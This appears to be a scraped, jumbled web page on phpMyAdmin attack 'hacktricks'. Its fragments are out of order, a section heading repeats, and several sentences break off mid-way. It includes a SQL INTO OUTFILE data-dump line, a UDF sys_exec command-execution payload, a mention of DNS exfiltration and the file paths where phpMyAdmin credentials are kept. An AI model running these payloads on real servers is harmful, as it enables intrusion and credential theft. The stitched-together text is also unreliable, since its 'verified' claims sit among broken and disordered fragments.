Phpmyadmin Hacktricks Verified Now

Introduction phpMyAdmin is the most popular database management tool for MySQL/MariaDB. For penetration testers (and attackers), it is a high-value target because successful compromise often leads to remote code execution (RCE), data exfiltration, or privilege escalation. For defenders, understanding these "hacktricks" is the first step to proper hardening.

SELECT * FROM information_schema.tables INTO OUTFILE '/tmp/db_dump.sql'; Or use built-in export (less stealthy but faster). If outbound internet is allowed but direct connections monitored, use DNS: phpmyadmin hacktricks verified

CREATE FUNCTION sys_exec RETURNS INT SONAME 'lib_mysqludf_sys.so'; SELECT sys_exec('id'); Requires plugin directory write access. Most shared hosting disables this. Part 4: Privilege Escalation via phpMyAdmin Itself 4.1 Config File Disclosure The config.inc.php file contains database credentials and sometimes auth keys. SELECT * FROM information_schema

/var/lib/phpmyadmin/config.inc.php /etc/phpmyadmin/config.inc.php /usr/share/phpmyadmin/config.inc.php Part 4: Privilege Escalation via phpMyAdmin Itself 4

This article aggregates, tests, and verifies the most effective phpMyAdmin attack techniques. Every method listed has been against recent versions (phpMyAdmin 4.9.x, 5.1.x, 5.2.x) on Linux and Windows environments. Part 1: Reconnaissance & Detection Before executing exploits, you must identify phpMyAdmin. 1.1 Default Paths (Verified) Scanning for these paths yields results in >70% of default installations: